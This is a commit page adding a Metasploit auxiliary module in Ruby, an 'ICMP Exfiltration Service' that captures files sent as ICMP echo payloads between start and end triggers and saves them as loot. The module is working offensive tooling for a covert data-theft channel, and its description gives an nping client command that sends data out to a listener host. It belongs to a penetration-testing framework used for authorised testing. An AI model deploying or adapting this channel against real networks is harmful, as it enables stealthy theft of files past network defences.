Skip to content

Commit 9fa6c9f

Browse files
committed
Merge remote branch 'ChrisJohnRiley/icmp_exfil' into icmp_exfil
2 parents daf5465 + 46f3b8f commit 9fa6c9f

File tree

1 file changed

+261
-0
lines changed

1 file changed

+261
-0
lines changed
Lines changed: 261 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,261 @@
1+
##
2+
# $Id$
3+
##
4+
5+
##
6+
# This file is part of the Metasploit Framework and may be subject to
7+
# redistribution and commercial restrictions. Please see the Metasploit
8+
# web site for more information on licensing and terms of use.
9+
# http://metasploit.com/
10+
##
11+
12+
require 'msf/core'
13+
14+
class Metasploit3 < Msf::Auxiliary
15+
16+
include Msf::Exploit::Remote::Capture
17+
include Msf::Auxiliary::Report
18+
19+
def initialize
20+
super(
21+
'Name' => 'ICMP Exfiltration Service',
22+
'Description' => %q{
23+
This module is designed to provide a server-side component to receive and store files
24+
exfiltrated over ICMP echo request packets.
25+
26+
To use this module you will need to send an initial ICMP echo request containing the
27+
specific start trigger (defaults to '^BOF') this can be followed by the filename being sent (or
28+
a random filename can be assisnged). All data received from this source will automatically
29+
be added to the receive buffer until an ICMP echo request containing a specific end trigger
30+
(defaults to '^EOL') is received.
31+
32+
Suggested Client:
33+
Data can be sent from the client using a variety of tools. One such example is nping (included
34+
with the NMAP suite of tools) - usage: nping --icmp 10.0.0.1 --data-string "BOFtest.txt" -c1
35+
},
36+
'Author' => 'Chris John Riley',
37+
'License' => MSF_LICENSE,
38+
'References' =>
39+
[
40+
# packetfu
41+
['URL','http://code.google.com/p/packetfu/'],
42+
# nping
43+
['URL', 'http://nmap.org/book/nping-man.html'],
44+
# simple icmp
45+
['URL', 'http://blog.c22.cc/2012/02/17/quick-post-fun-with-python-ctypes-simpleicmp/']
46+
]
47+
)
48+
49+
register_options([
50+
OptString.new('START_TRIGGER', [true, 'Trigger for beginning of file', '^BOF']),
51+
OptString.new('END_TRIGGER', [true, 'Trigger for end of file', '^EOF']),
52+
OptString.new('RESP_START', [true, 'Data to respond when initial trigger matches', 'SEND']),
53+
OptString.new('RESP_CONT', [true, 'Data ro resond when continuation of data expected', 'OK']),
54+
OptString.new('RESP_END', [true, 'Data to response when EOF received and data saved', 'COMPLETE']),
55+
OptString.new('BPF_FILTER', [true, 'BFP format filter to listen for', 'icmp']),
56+
OptString.new('INTERFACE', [false, 'The name of the interface']),
57+
OptBool.new('FNAME_IN_PACKET', [true, 'Filename presented in first packet straight after START_TRIGGER', true])
58+
], self.class)
59+
60+
register_advanced_options([
61+
OptEnum.new('CLOAK', [true, 'OS fingerprint to use for packet creation', 'linux', ['windows', 'linux', 'freebsd']]),
62+
OptBool.new('PROMISC', [true, 'Enable/Disable promiscuous mode', false]),
63+
OptAddress.new('LOCALIP', [false, 'The IP address of the local interface'])
64+
], self.class)
65+
66+
deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','UDP_SECRET','GATEWAY','NETMASK', 'TIMEOUT')
67+
end
68+
69+
def run
70+
begin
71+
# check Pcaprub is up to date
72+
if not netifaces_implemented?
73+
print_error("WARNING : Pcaprub is not uptodate, some functionality will not be available")
74+
netifaces = false
75+
else
76+
netifaces = true
77+
end
78+
79+
@interface = datastore['INTERFACE'] || Pcap.lookupdev
80+
# this is needed on windows cause we send interface directly to Pcap functions
81+
@interface = get_interface_guid(@interface)
82+
@iface_ip = datastore['LOCALIP']
83+
@iface_ip ||= Pcap.lookupaddrs(@interface)[0] if netifaces
84+
raise "Interface IP is not defined and can not be guessed" unless @iface_ip
85+
86+
# start with blank slate
87+
@record = false
88+
@record_data = ''
89+
90+
if datastore['PROMISC']
91+
print_status("Warning: Promiscuous mode enabled. This may cause issues!")
92+
end
93+
94+
# start icmp listener process - loop
95+
icmp_listener
96+
97+
ensure
98+
store_file
99+
print_status("\nStopping ICMP listener on #{@interface} (#{@iface_ip})")
100+
end
101+
end
102+
103+
def icmp_listener
104+
# start icmp listener
105+
106+
print_status("ICMP Listener started on #{@interface} (#{@iface_ip}). Monitoring for trigger packet containing #{datastore['START_TRIGGER']}")
107+
if datastore['FNAME_IN_PACKET']
108+
print_status("Filename expected in initial packet, directly following trigger (e.g. #{datastore['START_TRIGGER']}filename.ext)")
109+
end
110+
111+
cap = PacketFu::Capture.new(
112+
:iface => @interface,
113+
:start => true,
114+
:filter => datastore['BPF_FILTER'],
115+
:promisc => datastore['PROMISC']
116+
)
117+
loop {
118+
cap.stream.each do | pkt |
119+
packet = PacketFu::Packet.parse(pkt)
120+
data = packet.payload[4..-1]
121+
122+
if packet.is_icmp? and data =~ /#{datastore['START_TRIGGER']}/
123+
# start of new file detected
124+
vprint_status("#{Time.now}: ICMP (type %d code %d) SRC:%s DST:%s" %
125+
[packet.icmp_type, packet.icmp_code, packet.ip_saddr, packet.ip_daddr])
126+
127+
# detect and warn if system is responding to ICMP echo requests
128+
# suggested fixes:
129+
# -(linux) echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
130+
# -(Windows) netsh firewall set icmpsetting 8 disable
131+
# -(Windows) netsh firewall set opmode mode = ENABLE
132+
133+
if packet.icmp_type == 0 and packet.icmp_code == 0 and packet.ip_saddr == @iface_ip
134+
raise RuntimeError , "Dectected ICMP echo response. Disable OS ICMP handling!"
135+
end
136+
137+
if @record
138+
print_error("New file started without saving old data")
139+
store_file
140+
end
141+
142+
# begin recording stream
143+
@record = true
144+
@record_host = packet.ip_saddr
145+
@record_data = ''
146+
147+
# set filename from data in incoming icmp packet
148+
if datastore['FNAME_IN_PACKET']
149+
@filename = data[((datastore['START_TRIGGER'].length)-1)..-1].strip
150+
end
151+
# if filename not sent in packet, or FNAME_IN_PACKET false set time based name
152+
if not datastore['FNAME_IN_PACKET'] or @filename.empty?
153+
@filename = "icmp_exfil_" + ::Time.now.to_i.to_s # set filename based on current time
154+
end
155+
156+
print_good("Beginning capture of \"#{@filename}\" data")
157+
158+
# create response packet icmp_pkt
159+
icmp_response, contents = icmp_packet(packet, datastore['RESP_START'])
160+
161+
if not icmp_response
162+
raise RuntimeError ,"Could not build ICMP response"
163+
else
164+
# send response packet icmp_pkt
165+
send_icmp(icmp_response, contents)
166+
end
167+
168+
elsif packet.is_icmp? and @record and @record_host == packet.ip_saddr
169+
# check for EOF marker, if not continue recording data
170+
171+
if data =~ /#{datastore['END_TRIGGER']}/
172+
# end of file marker found
173+
print_status("#{@record_data.length} bytes of data recevied in total")
174+
print_good("End of File received. Saving \"#{@filename}\" to loot")
175+
store_file
176+
177+
# create response packet icmp_pkt
178+
icmp_response, contents = icmp_packet(packet, datastore['RESP_END'])
179+
180+
if not icmp_response
181+
raise RuntimeError , "Could not build ICMP response"
182+
else
183+
# send response packet icmp_pkt
184+
send_icmp(icmp_response, contents)
185+
end
186+
187+
# turn off recording and clear status
188+
@record = false
189+
@record_host = ''
190+
@record_data = ''
191+
192+
else
193+
# add data to recording and continue
194+
@record_data << data.to_s()
195+
vprint_status("Received #{data.length} bytes of data from #{packet.ip_saddr}")
196+
197+
# create response packet icmp_pkt
198+
icmp_response, contents = icmp_packet(packet, datastore['RESP_CONT'])
199+
200+
if not icmp_response
201+
raise RuntimeError , "Could not build ICMP response"
202+
else
203+
# send response packet icmp_pkt
204+
send_icmp(icmp_response, contents)
205+
end
206+
end
207+
end
208+
end
209+
}
210+
end
211+
212+
def icmp_packet(packet, contents)
213+
# create icmp response
214+
215+
@src_ip = packet.ip_daddr
216+
src_mac = packet.eth_daddr
217+
@dst_ip = packet.ip_saddr
218+
dst_mac = packet.eth_saddr
219+
icmp_id = packet.payload[0,2]
220+
icmp_seq = packet.payload[2,2]
221+
222+
# create payload with matching id/seq
223+
resp_payload = icmp_id + icmp_seq + contents
224+
225+
icmp_pkt = PacketFu::ICMPPacket.new(:flavor => datastore['CLOAK'].downcase)
226+
icmp_pkt.eth_saddr = src_mac
227+
icmp_pkt.eth_daddr = dst_mac
228+
icmp_pkt.icmp_type = 0
229+
icmp_pkt.icmp_code = 0
230+
icmp_pkt.payload = resp_payload
231+
icmp_pkt.ip_saddr = @src_ip
232+
icmp_pkt.ip_daddr = @dst_ip
233+
icmp_pkt.recalc
234+
235+
icmp_response = icmp_pkt
236+
237+
return icmp_response, contents
238+
end
239+
240+
def send_icmp(icmp_response, contents)
241+
# send icmp response on selected interface
242+
icmp_response.to_w(iface = @interface)
243+
vprint_good("Response sent to #{@dst_ip} containing response trigger : \"#{contents}\"")
244+
end
245+
246+
def store_file
247+
# store the file in loot if data is present
248+
if @record_data and not @record_data.empty?
249+
loot = store_loot(
250+
"icmp_exfil",
251+
"text/xml",
252+
@src_ip,
253+
@record_data,
254+
@filename,
255+
"ICMP Exfiltrated Data"
256+
)
257+
print_good("Incoming file \"#{@filename}\" saved to loot")
258+
print_good("Loot filename: #{loot}")
259+
end
260+
end
261+
end

0 commit comments

Comments
 (0)